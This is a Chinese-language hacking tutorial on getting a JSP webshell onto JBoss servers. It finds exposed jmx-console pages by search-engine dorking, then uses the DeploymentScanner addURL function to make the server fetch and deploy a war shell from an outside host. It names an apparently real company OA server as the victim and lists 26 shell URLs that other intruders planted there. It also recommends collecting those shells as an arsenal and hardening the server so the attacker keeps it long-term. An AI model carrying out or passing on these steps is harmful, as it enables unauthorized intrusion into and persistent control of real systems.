JBoss是一个大型应用平台,普通用户很难接触到。越是难以接触到的东西越觉得高深,借用北京公交司机李素丽的一句话“用力只能干出称职,用心才能干出优秀”,在安全上也是如此,虽然JBoss平台很难掌握,但是只要找到Jboss的罩门,一样轻松渗透,本文就如何针对Jboss的一个漏洞来获取其Webshell,由于是研究,因此仅仅点到为止。
一、信息收集与整理 1.使用漏洞特征进行搜索
在Jboss的整个漏洞中一个显著的特征就是“8080/jmx-console/”,当然整个也还有其它特征,用这个特征主要便于在Google中进行搜索,现在使用google的搜索地址为:www.google.com.hk,使用百度搜索的效果不如Google。在Google的输入框中输入:inurl:”8080/jmx-console/” ,会出来一堆结果。
2.访问网站并进行漏洞测试
对搜索出来的记录一一进行查看,看看能否正常访问。由于搜索引擎的时效性,有些网站虽然结果在搜索结果中,但由于各种原因网站已经不能访问。如果网站不能正常访问就舍弃。从结果中我们找到http://oa.tsingtaobeer-sales.com:8080/jmx-console/网站能够正常访问,然后在该页面中搜索“jboss.deployment”,并找到* flavor=URL,type=DeploymentScanner,单击该链接看看能否正常访问,如图1所示。
图1 测试Jboss页面
3.添加Webshell的war文件地址
将Jsp的shell压缩成war文件,然后将该war上传到互联网上能够访问的网站上,例如本例中的war的真实地址为“http://www.cam*****.com.hk/forum/forumdata/cache/war.war”。当前打开的页面地址为“http://oa.tsingtaobeer-sales.com:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL”,在该页面中去寻找“void addURL()”函数,找到后将“http://www.cam*****.com.hk/forum/forumdata/cache/cmd.war”复制“ParamValue”中,如图2所示,然后单击“invoke”将http://www.cam*****.com.hk/forum/forumdata/cache/war.war下载到本地服务器本进行部署。部署成功后会给出相应的提示,如图3所示。
图2 利用addURL函数下载并部署war文件
图3 操作执行成功
4.应用修改使设置生效
再次回到主界面中,如图4所示,在URLList中会看到刚才加入的war地址,单击“Apply Change”使设置生效。
图4应用修改使设置生效
5.充实“武器库”
通过观察URLList,发现该列表就是部署war的地址,如果通过前面的步骤在URLList中仅仅只有你自己的地址,那么恭喜你是第一个获取该服务器,在获取服务器的权限后可以对其进行升级和加固,升级和加固后,这个服务器以后就可能长期由你来“维护”和使用。在本例中将URLList中的值复制到记事本,然后进行整理,好家伙有26war文件。其war地址列表如下:
http://116.232.230.228/xm.war
http://117.67.0.248/wc.war
http://121.207.250.24/war.zip
http://121.207.250.24/war1.zip
http://189.54.19.69:8181/cmd.war
http://189.54.19.69:8181/h2010.war
http://192.168.1.56:8080/System-Console/jsp/test.war
http://203.246.56.27:8080/safe/safe.war
http://210.51.25.183/icons/war.war
http://221.137.124.253:8080/System-Console/jsp/job.jsp
http://221.137.124.253:8080/System-Console/jsp/test.war
http://61.178.73.149/job/no.war
http://blog.avfree.cn/cmd.war
http://blog.xiancn.com/Browser.war
http://blog.xiancn.com/cmd.war
http://jbosstest.webs.com/Browser.war
http://www.acclaimedenterprises.com/tmp/browser.war
http://www.camgear.com.hk/forum/forumdata/cache/Browser.war
http://www.cfblog.com/honeywell/war.war
http://www.laodu.com.cn/ri/hack.war
http://www.nmgfb.com/coody.war
http://www.posumex.com/bdd/user/war.war
http://www.str0m.cn/1.war
http://www.yunxi.net/cmd.war
http://yese.yi.org/cmd.war
http://yese.yi.org/war/cmd.war
依次访问这些地址,当然更有一个简单的办法复制这些地址将其粘贴在Flashget中,通过Flashget来下载。虽然这些地址中有些war无法下载,但通过对下载的war文件进行整理和分析,获取了4个好用的war文件,笔者在测试时就应用war文件问题,来回折腾了好几回都没有成功,换成获取的war文件就成功了,将这些好用的war归入武器库,充实弹药!
6.获得Webshell
在浏览器中输入地址“http://oa.tsingtaobeer-sales.com:8080/war”测试Webshell能否正常访问,如图5所示,出来我们比较熟悉的JSP Webshell页面。需要特别注意的是,在部署过程中可能由于war文件和网站路径的不同,可能其访问地址会有一些偏差,因此需要多进行测试,有的直接可以访问有的需要加war包的名称。关于Jboss获取的详细细节感兴趣的朋友可以到www.antian365.com查看JBoss获取Webshell录像。
图5 获得Webshell